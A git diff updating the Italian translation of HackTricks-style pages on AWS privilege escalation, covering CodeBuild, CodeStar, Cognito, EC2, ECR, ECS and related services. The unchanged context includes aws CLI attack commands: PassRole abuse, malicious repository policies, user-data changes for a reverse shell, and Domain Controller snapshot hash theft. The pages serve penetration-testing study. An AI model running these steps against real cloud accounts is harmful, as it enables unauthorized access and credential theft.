`ECS_CONTAINER_METADATA_URI`** che contiene l'URL completo per ottenere **informazioni sui metadati del contenitore**. +> Inoltre, contiene anche la **variabile d'ambiente `ECS_CONTAINER_METADATA_URI`** che contiene l'URL completo per ottenere **informazioni di metadata sul contenitore**. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) @@ -264,18 +264,18 @@ aws codebuild start-build-batch --project-name codebuild-demo-project {{#endtab }} {{#endtabs }} -**Impatto Potenziale:** Privesc diretto ai ruoli AWS Codebuild allegati. +**Impatto Potenziale:** Privesc diretto ai ruoli AWS Codebuild associati. ### SSM Avere **sufficienti permessi per avviare una sessione ssm** rende possibile **entrare in un progetto Codebuild** in fase di costruzione. -Il progetto codebuild dovrà avere un punto di interruzione: +Il progetto codebuild avrà bisogno di avere un punto di interruzione: 
phases:
 pre_build:
 commands:
-- echo Entrato nella fase pre_build...
+- echo Entered the pre_build phase...
 - echo "Hello World" > /tmp/hello-world
       - codebuild-breakpoint
@@ -320,7 +320,7 @@ commands: **Impatto:** Privesc diretto al ruolo utilizzato dal lavoratore AWS CodeBuild che di solito ha privilegi elevati. > [!WARNING] -> Nota che il buildspec potrebbe essere previsto in formato zip, quindi un attaccante dovrebbe scaricare, decomprimere, modificare il `buildspec.yml` dalla directory radice, ricomprimere e caricare di nuovo. +> Nota che il buildspec potrebbe essere previsto in formato zip, quindi un attaccante dovrebbe scaricare, decomprimere, modificare il `buildspec.yml` dalla directory radice, comprimere di nuovo e caricare Maggiori dettagli possono essere trovati [qui](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md index c289d5ee1..5b001a7bd 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md @@ -12,9 +12,9 @@ Per ulteriori informazioni su codepipeline controlla: ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` -Quando crei una pipeline di codice puoi indicare un **ruolo IAM di codepipeline da eseguire**, quindi potresti comprometterli. +Quando crei una code pipeline puoi indicare un **ruolo IAM di codepipeline da eseguire**, quindi potresti comprometterli. -Oltre ai permessi precedenti avresti bisogno di **accesso al luogo dove è memorizzato il codice** (S3, ECR, github, bitbucket...) +Oltre ai permessi precedenti avresti bisogno di **accesso al luogo dove il codice è memorizzato** (S3, ECR, github, bitbucket...) Ho testato questo eseguendo il processo nella pagina web, i permessi indicati precedentemente non sono quelli di List/Get necessari per creare una codepipeline, ma per crearla nel web avrai anche bisogno di: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` @@ -32,6 +32,6 @@ Potrebbe essere possibile modificare il ruolo utilizzato e il comando eseguito s [AWS menziona](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): -> Quando questa API viene chiamata, CodePipeline **restituisce credenziali temporanee per il bucket S3** utilizzato per memorizzare gli artefatti per la pipeline, se l'azione richiede accesso a quel bucket S3 per artefatti di input o output. Questa API **restituisce anche eventuali valori segreti definiti per l'azione**. +> Quando questa API viene chiamata, CodePipeline **restituisce credenziali temporanee per il bucket S3** utilizzato per memorizzare artefatti per la pipeline, se l'azione richiede accesso a quel bucket S3 per artefatti di input o output. Questa API **restituisce anche eventuali valori segreti definiti per l'azione**. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md index 35835d604..db75987b6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md @@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md ### `iam:PassRole`, `codestar:CreateProject` -Con questi permessi puoi **abusare di un ruolo IAM di codestar** per eseguire **azioni arbitrarie** tramite un **template cloudformation**. Controlla la seguente pagina: +Con questi permessi puoi **abusare di un ruolo IAM di codestar** per eseguire **azioni arbitrarie** tramite un **template cloudformation**. Controlla la pagina seguente: {{#ref}} iam-passrole-codestar-createproject.md @@ -20,7 +20,7 @@ iam-passrole-codestar-createproject.md ### `codestar:CreateProject`, `codestar:AssociateTeamMember` -Questa tecnica utilizza `codestar:CreateProject` per creare un progetto codestar e `codestar:AssociateTeamMember` per rendere un utente IAM il **proprietario** di un nuovo **progetto** CodeStar, il che gli concederà una **nuova policy con alcuni permessi extra**. +Questa tecnica utilizza `codestar:CreateProject` per creare un progetto codestar e `codestar:AssociateTeamMember` per rendere un utente IAM il **proprietario** di un nuovo **progetto** CodeStar, il che concederà loro una **nuova policy con alcuni permessi extra**. ```bash PROJECT_NAME="supercodestar" @@ -41,7 +41,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \ ``` Se sei già un **membro del progetto**, puoi utilizzare il permesso **`codestar:UpdateTeamMember`** per **aggiornare il tuo ruolo** a proprietario invece di `codestar:AssociateTeamMember`. -**Impatto Potenziale:** Privesc alla policy codestar generata. Puoi trovare un esempio di quella policy in: +**Impatto Potenziale:** Privesc alla policy di codestar generata. Puoi trovare un esempio di quella policy in: {{#ref}} codestar-createproject-codestar-associateteammember.md @@ -52,12 +52,12 @@ codestar-createproject-codestar-associateteammember.md 1. **Crea un Nuovo Progetto:** - Utilizza l'azione **`codestar:CreateProjectFromTemplate`** per avviare la creazione di un nuovo progetto. - Una volta creata con successo, l'accesso è automaticamente concesso per **`cloudformation:UpdateStack`**. -- Questo accesso è specificamente destinato a uno stack associato al ruolo IAM `CodeStarWorker--CloudFormation`. +- Questo accesso è specificamente destinato a uno stack associato al ruolo IAM `CodeStarWorker--CloudFormation`. 2. **Aggiorna lo Stack Target:** - Con i permessi CloudFormation concessi, procedi ad aggiornare lo stack specificato. - Il nome dello stack di solito seguirà uno dei due modelli: -- `awscodestar--infrastructure` -- `awscodestar--lambda` +- `awscodestar--infrastructure` +- `awscodestar--lambda` - Il nome esatto dipende dal template scelto (riferendosi allo script di exploit di esempio). 3. **Accesso e Permessi:** - Dopo l'aggiornamento, ottieni le capacità assegnate al **ruolo IAM CloudFormation** collegato allo stack. @@ -66,6 +66,6 @@ codestar-createproject-codestar-associateteammember.md Per ulteriori informazioni, controlla la ricerca originale: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ Puoi trovare l'exploit in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) -**Impatto Potenziale:** Privesc al ruolo IAM cloudformation. +**Impatto Potenziale:** Privesc al ruolo IAM di cloudformation. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md index b25191e8c..ca26cebfb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md @@ -28,13 +28,13 @@ Per sfruttare questo, devi creare un **bucket S3 accessibile** dall'account atta } } ``` -Inoltre, **carica** questo file `empty zip` nel **bucket**: +Carica anche questo `empty zip` file nel **bucket**: {% file src="../../../../images/empty.zip" %} Ricorda che il **bucket con entrambi i file deve essere accessibile dall'account della vittima**. -Con entrambe le cose caricate, puoi ora procedere all'**esploitazione** creando un progetto **codestar**: +Con entrambi i file caricati, puoi ora procedere all'**exploitation** creando un progetto **codestar**: ```bash PROJECT_NAME="supercodestar" diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md index bf680572b..04a4fb8e8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md @@ -34,7 +34,7 @@ aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9 ``` Se l'app cognito **non ha abilitati gli utenti non autenticati**, potresti aver bisogno anche del permesso `cognito-identity:UpdateIdentityPool` per abilitarlo. -**Impatto Potenziale:** Privesc diretto a qualsiasi ruolo cognito. +**Impatto Potenziale:** Privilegi di escalation diretti a qualsiasi ruolo cognito. ### `cognito-identity:update-identity-pool` @@ -84,11 +84,11 @@ aws cognito-idp admin-add-user-to-group \ ### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` -Un attaccante con questi permessi potrebbe **creare/aggiornare gruppi** con **ogni ruolo IAM che può essere utilizzato da un Provider di Identità Cognito compromesso** e rendere un utente compromesso parte del gruppo, accedendo a tutti quei ruoli: +Un attaccante con questi permessi potrebbe **creare/aggiornare gruppi** con **ogni ruolo IAM che può essere utilizzato da un Cognito Identity Provider compromesso** e rendere un utente compromesso parte del gruppo, accedendo a tutti quei ruoli: ```bash aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn ``` -**Impatto Potenziale:** Privesc su altri ruoli IAM di Cognito. +**Impatto Potenziale:** Privesc ad altri ruoli IAM di Cognito. ### `cognito-idp:AdminConfirmSignUp` @@ -164,7 +164,7 @@ aws cognito-idp set-user-pool-mfa-config \ [--software-token-mfa-configuration ] \ [--mfa-configuration ] ``` -**UpdateUserPool:** È anche possibile aggiornare il pool utenti per modificare la politica MFA. [Controlla cli qui](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). +**UpdateUserPool:** È anche possibile aggiornare il pool utenti per modificare la politica MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). **Potential Impact:** Privesc indiretto a potenzialmente qualsiasi utente di cui l'attaccante conosce le credenziali, questo potrebbe consentire di bypassare la protezione MFA. @@ -182,11 +182,11 @@ aws cognito-idp admin-update-user-attributes \ ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` -Un attaccante con questo permesso potrebbe **creare un nuovo Client User Pool meno restrittivo** rispetto ai client pool già esistenti. Ad esempio, il nuovo client potrebbe consentire qualsiasi tipo di metodo per autenticarsi, non avere alcun segreto, avere la revoca dei token disabilitata, consentire ai token di essere validi per un periodo più lungo... +Un attaccante con questo permesso potrebbe **creare un nuovo User Pool Client meno restrittivo** rispetto ai client di pool già esistenti. Ad esempio, il nuovo client potrebbe consentire qualsiasi tipo di metodo per autenticarsi, non avere alcun segreto, avere la revoca dei token disabilitata, consentire ai token di essere validi per un periodo più lungo... Lo stesso può essere fatto se invece di creare un nuovo client, un **esistente viene modificato**. -Nella [**linea di comando**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (o nell' [**aggiornamento**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) puoi vedere tutte le opzioni, controllalo!. +Nella [**linea di comando**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (o nell'[**aggiornamento**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) puoi vedere tutte le opzioni, controllalo!. ```bash aws cognito-idp create-user-pool-client \ --user-pool-id \ @@ -216,11 +216,11 @@ curl -v -T "PATH_TO_CSV_FILE" \ ``` (Nel caso in cui crei un nuovo lavoro di importazione, potresti anche aver bisogno del permesso iam passrole, non l'ho ancora testato). -**Impatto Potenziale:** Privesc diretto al ruolo IAM del pool di identità per gli utenti autenticati. Privesc indiretto ad altre funzionalità dell'app essendo in grado di creare qualsiasi utente. +**Impatto Potenziale:** Privesc diretto al ruolo IAM del pool di identità per utenti autenticati. Privesc indiretto ad altre funzionalità dell'app essendo in grado di creare qualsiasi utente. ### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` -Un attaccante potrebbe creare un nuovo provider di identità per poter **accedere tramite questo provider**. +Un attaccante potrebbe creare un nuovo provider di identità per poi poter **accedere tramite questo provider**. ```bash aws cognito-idp create-identity-provider \ --user-pool-id \ @@ -230,14 +230,14 @@ aws cognito-idp create-identity-provider \ [--attribute-mapping ] \ [--idp-identifiers ] ``` -**Impatto Potenziale:** Privesc diretto al ruolo IAM del pool di identità per utenti autenticati. Privesc indiretto ad altre funzionalità dell'app potendo creare qualsiasi utente. +**Impatto Potenziale:** Privesc diretto al ruolo IAM del pool di identità per utenti autenticati. Privesc indiretto ad altre funzionalità dell'app essendo in grado di creare qualsiasi utente. ### cognito-sync:\* Analisi -Questo è un permesso molto comune per impostazione predefinita nei ruoli dei Pool di Identità Cognito. Anche se un carattere jolly nei permessi sembra sempre brutto (soprattutto proveniente da AWS), i **permessi concessi non sono super utili da una prospettiva di attaccante**. +Questo è un permesso molto comune per impostazione predefinita nei ruoli dei Cognito Identity Pools. Anche se un carattere jolly nei permessi sembra sempre brutto (soprattutto proveniente da AWS), i **permessi concessi non sono super utili da una prospettiva di attaccante**. -Questo permesso consente di leggere informazioni sugli utenti dei Pool di Identità e ID di Identità all'interno dei Pool di Identità (che non sono informazioni sensibili).\ -Gli ID di Identità potrebbero avere [**Dataset**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assegnati, che sono informazioni delle sessioni (AWS lo definisce come un **gioco salvato**). Potrebbe essere possibile che questo contenga qualche tipo di informazione sensibile (ma la probabilità è piuttosto bassa). Puoi trovare nella [**pagina di enumerazione**](../aws-services/aws-cognito-enum/) come accedere a queste informazioni. +Questo permesso consente di leggere informazioni sugli utenti dei Identity Pools e sugli Identity IDs all'interno dei Identity Pools (che non sono informazioni sensibili).\ +Gli Identity IDs potrebbero avere [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assegnati, che sono informazioni delle sessioni (AWS lo definisce come un **gioco salvato**). Potrebbe essere possibile che questo contenga qualche tipo di informazione sensibile (ma la probabilità è piuttosto bassa). Puoi trovare nella [**pagina di enumerazione**](../aws-services/aws-cognito-enum/) come accedere a queste informazioni. Un attaccante potrebbe anche utilizzare questi permessi per **iscriversi a uno stream Cognito che pubblica modifiche** su questi dataset o a una **lambda che si attiva su eventi cognito**. Non ho visto questo essere utilizzato, e non mi aspetterei informazioni sensibili qui, ma non è impossibile. @@ -249,7 +249,7 @@ Per una descrizione delle funzioni dei moduli vedere la parte 2 del [post del bl #### Utilizzo -Esempio di utilizzo cognito\_\_attack per tentare la creazione di un utente e tutti i vettori di privesc contro un dato pool di identità e client del pool utenti: +Esempio di utilizzo di cognito\_\_attack per tentare la creazione di un utente e tutti i vettori di privesc contro un dato pool di identità e client del pool utenti: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md index d13ecaed4..5599bce67 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md @@ -50,7 +50,7 @@ Dopo la creazione della pipeline, l'attaccante aggiorna la sua definizione per d } ``` > [!NOTE] -> Nota che il **ruolo** nelle **linee 14, 15 e 27** deve essere un ruolo **assumibile da datapipeline.amazonaws.com** e il ruolo nella **linea 28** deve essere un **ruolo assumibile da ec2.amazonaws.com con un profilo istanza EC2**. +> Nota che il **ruolo** nelle **righe 14, 15 e 27** deve essere un ruolo **assumibile da datapipeline.amazonaws.com** e il ruolo nella **riga 28** deve essere un **ruolo assumibile da ec2.amazonaws.com con un profilo istanza EC2**. > > Inoltre, l'istanza EC2 avrà accesso solo al ruolo assumibile dall'istanza EC2 (quindi puoi solo rubare quello). ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md index 1c50ad53a..cc8f1367a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md @@ -19,7 +19,7 @@ aws ds reset-user-password --directory-id --user-name Admin --new-password ``` ### AWS Management Console -È possibile abilitare un **URL di accesso all'applicazione** a cui gli utenti di AD possono accedere per effettuare il login: +È possibile abilitare un **application access URL** a cui gli utenti di AD possono accedere per effettuare il login:
@@ -27,6 +27,6 @@ E poi **assegnare loro un ruolo AWS IAM** per quando effettuano il login, in que
-Non sembra esserci alcun modo per abilitare l'URL di accesso all'applicazione, la console di gestione AWS e concedere permessi +Non sembra esserci alcun modo per abilitare l'application access URL, la console di gestione AWS e concedere permessi {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index dcfc27e56..e5682af42 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -12,12 +12,12 @@ Per ulteriori informazioni su dynamodb controlla: ### Post Exploitation -Per quanto ne so, **non c'è un modo diretto per escalare i privilegi in AWS semplicemente avendo alcuni permessi `dynamodb` di AWS**. Puoi **leggere informazioni sensibili** dalle tabelle (che potrebbero contenere credenziali AWS) e **scrivere informazioni nelle tabelle** (che potrebbero attivare altre vulnerabilità, come le iniezioni di codice lambda...) ma tutte queste opzioni sono già considerate nella **pagina di Post Exploitation di DynamoDB**: +Per quanto ne so, **non c'è un modo diretto per escalare i privilegi in AWS semplicemente avendo alcuni permessi `dynamodb`**. Puoi **leggere informazioni sensibili** dalle tabelle (che potrebbero contenere credenziali AWS) e **scrivere informazioni nelle tabelle** (che potrebbero attivare altre vulnerabilità, come le iniezioni di codice lambda...) ma tutte queste opzioni sono già considerate nella **pagina di Post Exploitation di DynamoDB**: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### TODO: Leggere dati abusando dei data Streams +### TODO: Leggere dati abusando dei Data Streams {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md index c61d82127..03d5447ae 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md @@ -6,7 +6,7 @@ ### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` -Un attaccante con questi permessi sarà in grado di **scaricare e analizzare localmente le snapshot dei volumi** e cercare informazioni sensibili in esse (come segreti o codice sorgente). Scopri come fare questo in: +Un attaccante con questi permessi sarà in grado di **scaricare e analizzare localmente gli snapshot dei volumi** e cercare informazioni sensibili in essi (come segreti o codice sorgente). Scopri come fare questo in: {{#ref}} ../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -16,12 +16,12 @@ Altri permessi potrebbero essere utili come: `ec2:DescribeInstances`, `ec2:Descr Lo strumento [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) esegue questo attacco per **estrarre password da un domain controller**. -**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nella snapshot (potresti anche ottenere password di Active Directory). +**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nello snapshot (potresti anche ottenere password di Active Directory). ### **`ec2:CreateSnapshot`** -Qualsiasi utente AWS in possesso del permesso **`EC2:CreateSnapshot`** può rubare gli hash di tutti gli utenti del dominio creando una **snapshot del Domain Controller**, montandola su un'istanza che controllano e **esportando il file NTDS.dit e il registro SYSTEM** per l'uso con il progetto secretsdump di Impacket. +Qualsiasi utente AWS in possesso del permesso **`EC2:CreateSnapshot`** può rubare gli hash di tutti gli utenti del dominio creando uno **snapshot del Domain Controller**, montandolo su un'istanza che controllano e **esportando il file NTDS.dit e il registro SYSTEM** per l'uso con il progetto secretsdump di Impacket. -Puoi usare questo strumento per automatizzare l'attacco: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) oppure potresti usare una delle tecniche precedenti dopo aver creato una snapshot. +Puoi utilizzare questo strumento per automatizzare l'attacco: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) oppure potresti utilizzare una delle tecniche precedenti dopo aver creato uno snapshot. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index 8da36a7c9..271d1d7dc 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -4,7 +4,7 @@ ## EC2 -Per ulteriori **info su EC2** controlla: +Per ulteriori **informazioni su EC2** controlla: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -44,7 +44,7 @@ Fai attenzione con GuardDuty se utilizzi le credenziali del ruolo IAM al di fuor #### Privesc a ECS -Con questo set di permessi potresti anche **creare un'istanza EC2 e registrarla all'interno di un cluster ECS**. In questo modo, i **servizi** ECS verranno **eseguiti** all'interno dell'**istanza EC2** a cui hai accesso e poi potrai penetrare in quei servizi (contenitori docker) e **rubare i loro ruoli ECS associati**. +Con questo set di permessi potresti anche **creare un'istanza EC2 e registrarla all'interno di un cluster ECS**. In questo modo, i **servizi** ECS verranno **eseguiti** all'interno dell'**istanza EC2** a cui hai accesso e poi puoi penetrare in quei servizi (contenitori docker) e **rubare i loro ruoli ECS associati**. ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -59,7 +59,7 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` -Per imparare a **forzare i servizi ECS a essere eseguiti** in questa nuova istanza EC2 controlla: +Per imparare a **forzare i servizi ECS a essere eseguiti** in questa nuova istanza EC2, controlla: {{#ref}} aws-ecs-privesc.md @@ -86,11 +86,11 @@ Se il **profilo dell'istanza ha un ruolo** e l'attaccante **non può rimuoverlo* ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2 (è necessario aver compromesso un'istanza AWS EC2 e avere alcuni permessi extra o uno stato specifico del profilo dell'istanza). +**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2 (è necessario aver compromesso un'istanza AWS EC2 e avere alcune autorizzazioni extra o uno stato specifico del profilo dell'istanza). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -Con questi permessi è possibile cambiare il profilo dell'istanza associato a un'istanza, quindi se l'attacco ha già accesso a un'istanza, sarà in grado di rubare le credenziali per più ruoli di profilo dell'istanza cambiando quello associato ad essa. +Con queste autorizzazioni è possibile cambiare il profilo dell'istanza associato a un'istanza, quindi se l'attacco ha già accesso a un'istanza, sarà in grado di rubare le credenziali per più ruoli di profilo dell'istanza cambiando quello associato ad essa. - Se **ha un profilo dell'istanza**, puoi **rimuovere** il profilo dell'istanza (`ec2:DisassociateIamInstanceProfile`) e **associarlo** \* ```bash @@ -121,7 +121,7 @@ aws ec2 request-spot-instances \ ``` ### `ec2:ModifyInstanceAttribute` -Un attaccante con il **`ec2:ModifyInstanceAttribute`** può modificare gli attributi delle istanze. Tra questi, può **cambiare i dati utente**, il che implica che può far **eseguire dati arbitrari** all'istanza. Questo può essere utilizzato per ottenere una **rev shell all'istanza EC2**. +Un attaccante con **`ec2:ModifyInstanceAttribute`** può modificare gli attributi delle istanze. Tra questi, può **cambiare i dati utente**, il che implica che può far **eseguire dati arbitrari** all'istanza. Questo può essere utilizzato per ottenere una **rev shell all'istanza EC2**. Nota che gli attributi possono essere **modificati solo mentre l'istanza è ferma**, quindi le **permissoni** **`ec2:StopInstances`** e **`ec2:StartInstances`**. ```bash @@ -178,7 +178,7 @@ aws ec2 modify-launch-template \ --launch-template-name bad_template \ --default-version 2 ``` -**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2. +**Impatto Potenziale:** Privesc diretto a un ruolo EC2 diverso. ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` @@ -198,7 +198,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ --desired-capacity 1 \ --vpc-zone-identifier "subnet-e282f9b8" ``` -**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2. +**Impatto Potenziale:** Privesc diretto a un ruolo EC2 diverso. ### `!autoscaling` @@ -237,7 +237,7 @@ Questo modo non è molto utile per il privesc poiché è necessario conoscere un ### `describe-launch-templates`,`describe-launch-template-versions` -Poiché i modelli di avvio hanno versioning, un attaccante con i permessi **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** potrebbe sfruttarli per scoprire informazioni sensibili, come le credenziali presenti nei dati utente. Per raggiungere questo obiettivo, il seguente script scorre tutte le versioni dei modelli di avvio disponibili: +Poiché i modelli di avvio hanno versioning, un attaccante con permessi **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** potrebbe sfruttarli per scoprire informazioni sensibili, come le credenziali presenti nei dati utente. Per raggiungere questo obiettivo, il seguente script scorre tutte le versioni dei modelli di avvio disponibili: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md index b14d2388d..25e883231 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md @@ -6,7 +6,7 @@ ### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` -Un attaccante con il **`ecr:GetAuthorizationToken`** e **`ecr:BatchGetImage`** può accedere a ECR e scaricare immagini. +Un attaccante con **`ecr:GetAuthorizationToken`** e **`ecr:BatchGetImage`** può accedere a ECR e scaricare immagini. Per ulteriori informazioni su come scaricare immagini: @@ -39,7 +39,7 @@ aws ecr set-repository-policy \ --repository-name \ --policy-text file://my-policy.json ``` -Contenuto di `my-policy.json`: +Contenuti di `my-policy.json`: ```json { "Version": "2008-10-17", @@ -60,7 +60,7 @@ Contenuto di `my-policy.json`: ### `ecr-public:SetRepositoryPolicy` Come nella sezione precedente, ma per i repository pubblici.\ -Un attaccante può **modificare la policy del repository** di un repository ECR Pubblico per concedere accesso pubblico non autorizzato o per aumentare i propri privilegi. +Un attaccante può **modificare la policy del repository** di un repository ECR pubblico per concedere accesso pubblico non autorizzato o per aumentare i propri privilegi. ```bash bashCopy code# Create a JSON file with the malicious public repository policy echo '{ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index 9775bdd7c..91852e98b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -98,7 +98,7 @@ aws ecs run-task \ Questo scenario è simile ai precedenti ma **senza** il permesso **`iam:PassRole`**.\ Questo è comunque interessante perché se puoi eseguire un contenitore arbitrario, anche se senza un ruolo, potresti **eseguire un contenitore privilegiato per fuggire** al nodo e **rubare il ruolo IAM EC2** e i **ruoli degli altri contenitori ECS** in esecuzione nel nodo.\ -Potresti persino **forzare altre attività a essere eseguite all'interno dell'istanza EC2** che comprometti per rubare le loro credenziali (come discusso nella [**sezione Privesc to node**](aws-ecs-privesc.md#privesc-to-node)). +Potresti persino **forzare altre attività a essere eseguite all'interno dell'istanza EC2** che comprometti per rubare le loro credenziali (come discusso nella [**sezione Privesc al nodo**](aws-ecs-privesc.md#privesc-to-node)). > [!WARNING] > Questo attacco è possibile solo se il **cluster ECS utilizza istanze EC2** e non Fargate. @@ -144,8 +144,8 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, 